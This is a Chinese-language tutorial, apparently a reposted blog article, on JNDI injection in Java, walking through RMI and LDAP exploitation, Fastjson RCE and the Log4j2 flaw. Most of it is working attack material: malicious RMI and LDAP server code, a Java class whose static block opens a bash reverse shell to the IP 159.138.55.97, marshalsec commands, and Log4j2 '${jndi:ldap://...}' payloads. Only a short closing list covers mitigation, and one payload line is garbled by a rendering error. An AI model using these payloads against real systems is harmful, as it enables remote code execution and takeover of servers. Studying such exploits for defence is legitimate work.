JNDI注入

JNDI

https://docs.oracle.com/javase/tutorial/jndi/index.html
JNDI(The java Naming and Directory Interface)java命名和目录接口,是一组在java应用中访问命名和目录的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。比如可以使用命名约定从数据库获取文件,JNDI是java提供在java搜索对象的工具

JNDI注入_第1张图片

命名/目录服务提供者:

  • RMI(java远程调用方法)
  • LDAP(轻量级目录访问协议)
  • DNS(域名服务)

JDK6 JDK7 JDK8 JDK11
RMI可用 6u132以下 7u122以下 8u113以下
LDAP可用 6u211以下 7u201以下 8u191以下 11.0.1以下

Reference

JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。
因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议
  • lookup:通过名字检索执行的对象
  • bind:将名称绑定到对象中

JNDI+RMI

RMIServer

package RMI;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer2 {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

RMIClient

package RMI;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient2 {
    public static void main(String[] args) throws NamingException{
        String var = "rmi://127.0.0.1:7778/RCE";
        new InitialContext().lookup(var);
    }
}

Calculator.java

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

RMI利用过程

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
JNDI注入_第2张图片

  1. 攻击者通过可控的url参数触发动态环境转换,比如:rmi://evil.com:1099/shell
  2. 应用原生的环境rmi://localhost:1099会因为动态转换指向rmi://evil.com:1099
  3. 应用去rmi://evil.com:1099请求绑定shell,攻击者事先准备好RMI服务会返回名称shell想要绑定的ReferenceWrapper(Reference(“shell”, “shell”, “http://evil-cb.com”)
  4. 应用获取到ReferenceWrapper对象开始在本地 CLASSPATH 中去找shell 类,如果不存在,就会从http://evil-cb.com/中去尝试获取shell.class,动态获取http://evil-cb.com/shell.class
  5. 攻击者事先准备好应用需要访问的恶意类shell.class
  6. 应用开始调用shell.class,这个类执行了恶意命令

Fastjson RMI RCE

恶意类

准备反弹类并编译
:::tips
javac shell.java
:::

// javac shell.java
import java.lang.Runtime;
import java.lang.Process;

public class shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/159.138.55.97/1234 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

web服务

将编译好的恶意类上传vps,开启web服务
:::tips
python3 -m http.server 80
:::

RMI服务

下载环境并编译
https://github.com/mbechler/marshalsec.git

git clone https://github.com/mbechler/marshalsec.git
mvn clean package -Dmaven.test.skip=true

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://159.138.55.97/#shell" 9999

JNDI注入_第3张图片

Fastjson应用

发送我们的RMI服务
JNDI注入_第4张图片

发送后,rmi服务收到了应用想要请求绑定shell,rmi服务返回ReferenceWrapper给应用,然后应用回到本地类路径中去找shell,因为本地没有将动态调用我们的rmi指向的http://159.138.55.97/shell.class

JNDI注入_第5张图片
然后我们web服务收到一条来自14.107.0.192的get请求,请求我们的恶意类

JNDI注入_第6张图片

恶意类被执行,反弹shell

JNDI注入_第7张图片

JNDI+LDAP

LDAPServer
需要导入unboundid-ldapsdk.jar包

package LDAP;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://192.168.10.103:8081/#Calculator";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package LDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

LDAPClient

package LDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

Calculator.java

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

JNDI注入_第8张图片

Log4j2 LDAP RCE

Log4j 2 是Java语言的日志处理套件三方库,2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

回显测试
https://github.com/r00tSe7en/JNDIMonitor

:::tips
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.example.com}
:::
JNDI注入_第9张图片

恶意类

准备反弹类并编译
:::tips
javac shell.java
:::

// javac shell.java
import java.lang.Runtime;
import java.lang.Process;

public class shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/159.138.55.97/1234 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

web服务

将编译好的恶意类上传vps,开启web服务
:::tips
python3 -m http.server 80
:::

LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://159.138.55.97/#shell" 9999

${jndi:ldap://159.138.55.97:9999/shell}

防范

  • 使用最新的JDK版本;
  • 将外部数据传入InitialContext.lookup()方法前先进行严格的过滤;
  • 使用安全管理器时,需要仔细审计安全策略;

ref:
https://docs.oracle.com/javase/tutorial/jndi/index.html
https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

你可能感兴趣的:(java,servlet,JNDI)